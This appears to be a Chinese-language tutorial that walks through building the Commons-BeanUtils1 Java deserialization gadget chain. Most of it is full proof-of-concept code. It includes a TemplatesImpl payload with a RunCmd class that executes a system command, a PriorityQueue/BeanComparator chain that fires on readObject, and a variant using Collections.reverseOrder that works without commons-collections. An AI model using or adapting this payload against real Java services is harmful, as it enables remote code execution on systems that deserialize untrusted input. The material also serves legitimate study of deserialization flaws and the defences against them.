1、PropertyUtils.getProperty
commons-beanutils-1.9.2.jar
包下的 PropertyUtils#getProperty
方法相对于getXxx方法,取得其值。
来试下该方法功能
public class Person {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
...
public class PropertyUtilsTest {
@Test
public void test() throws Exception{
Person p = new Person();
p.setName("liangzi");
String name =(String) PropertyUtils.getProperty(p, "name");
System.out.println(name);
}
}
我们知道通过 TemplatesImpl
类 bytecodes
字段传入恶意类,调用outputProperties
属性的getter
方法时,实例化传入的恶意类,调用其构造方法,可以造成任意命令执行。
在TemplatesImpl
类中存在 getOutputProperties
方法
可以通过PropertyUtils.getProperty 来构造如下代码
package com.test.serialize;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.PropertyUtils;
import org.junit.Test;
import java.lang.reflect.Field;
public class TempletesTest {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] classToBytes() throws Exception{
byte[] bytes = ClassPool.getDefault().get(RunCmd.class.getName()).toBytecode();
return bytes;
}
@Test
public void test() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name", "Pwnr");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{classToBytes()});
PropertyUtils.getProperty(templates,"outputProperties");
}
}
...
RunCmd 恶意类
package com.test.serialize;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class RunCmd extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec(new String[]{"cmd","/c","notepad.exe"});
} catch (Exception e){
e.printStackTrace();
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
正常执行命令。
2、构造poc
1、通过ysoserial 可以发现使用了 PriorityQueue 对象,所以我们来到 PriorityQueue#readObject
方法
2、在 BeanComparator
类中存在 compare
方法,该方法中有使用 PropertyUtils.getProperty 方法
我们目标是要进去到 PropertyUtils.getProperty 方法中,首先需要有调用 compare的地方,同时 property!=null,继续回到 PriorityQueue#readObject
中,看到 heapify() 方法
流程如下
heapify -> siftDown -> siftDownUsingComparator(k, x) -> comparator.compare((E) c, (E) queue[right])
comparator 由 PriorityQueue 构造方法传入,所以我们传入 BeanComparator
对象即可进去到BeanComparator
类的 compare
方法
构造payload
package com.test.serialize;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.junit.Test;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class TemplatesTest2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] classToBytes() throws Exception{
byte[] bytes = ClassPool.getDefault().get(RunCmd.class.getName()).toBytecode();
return bytes;
}
@Test
public void test() throws Exception{
BeanComparator beanComparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue(2, beanComparator);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name", "Pwnr");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{classToBytes()});
setFieldValue(queue,"size",2);
setFieldValue(queue,"queue",new Object[]{templates, templates});
setFieldValue(beanComparator, "property", "outputProperties");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(queue);
oos.close();
System.out.println(bos);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
}
3、排除 commons-collections 包构造poc
在maven中加入如下配置,再次运行上面的poc
<exclusions>
<exclusion>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
</exclusion>
</exclusions>
java.lang.NoClassDefFoundError: org/apache/commons/collections/comparators/ComparableComparator
所以这里我们要传入非 collections包中的 ComparableComparator
需要满足下面条件
- 实现
java.util.Comparator
接口 - 实现
java.io.Serializable
接口
获取实现了comparator 并可序列化的类
import org.junit.Test;
import org.reflections.Reflections;
import java.io.Serializable;
import java.util.Comparator;
import java.util.Set;
public class ClassUtil {
@Test
public void test() {
Reflections reflections1 = new Reflections("java.*");
Set<Class<? extends Comparator>> comparatorclasses = reflections1.getSubTypesOf(Comparator.class);
Reflections reflections2 = new Reflections("java.*");
Set<Class<? extends Serializable>> serializableclasses = reflections1.getSubTypesOf(Serializable.class);
for (Class clazz : comparatorclasses) {
// System.out.println("Found: " + clazz.getName());
for (Class serialclazz : serializableclasses){
if(serialclazz.getName().equals(clazz.getName())){
System.out.println(clazz.getName());
}
}
}
}
}
得出
java.util.Comparators$NaturalOrderComparator
javax.swing.plaf.basic.BasicTreeUI$TreeTransferHandler
java.util.Collections$ReverseComparator2
java.util.Comparators$NullComparator
java.util.Collections$ReverseComparator
java.lang.String$CaseInsensitiveComparator
javax.swing.LayoutComparator
java.util.Collections.java
类
package com.test.serialize;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.junit.Test;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Collections;
import java.util.PriorityQueue;
public class TemplatesTest2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] classToBytes() throws Exception{
byte[] bytes = ClassPool.getDefault().get(RunCmd.class.getName()).toBytecode();
return bytes;
}
@Test
public void test() throws Exception{
BeanComparator beanComparator = new BeanComparator(null,Collections.reverseOrder());// 或 BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
PriorityQueue queue = new PriorityQueue(2, beanComparator);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name", "Pwnr");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{classToBytes()});
setFieldValue(queue,"size",2);
setFieldValue(queue,"queue",new Object[]{templates, templates});
setFieldValue(beanComparator, "property", "outputProperties");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(queue);
oos.close();
System.out.println(bos);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
}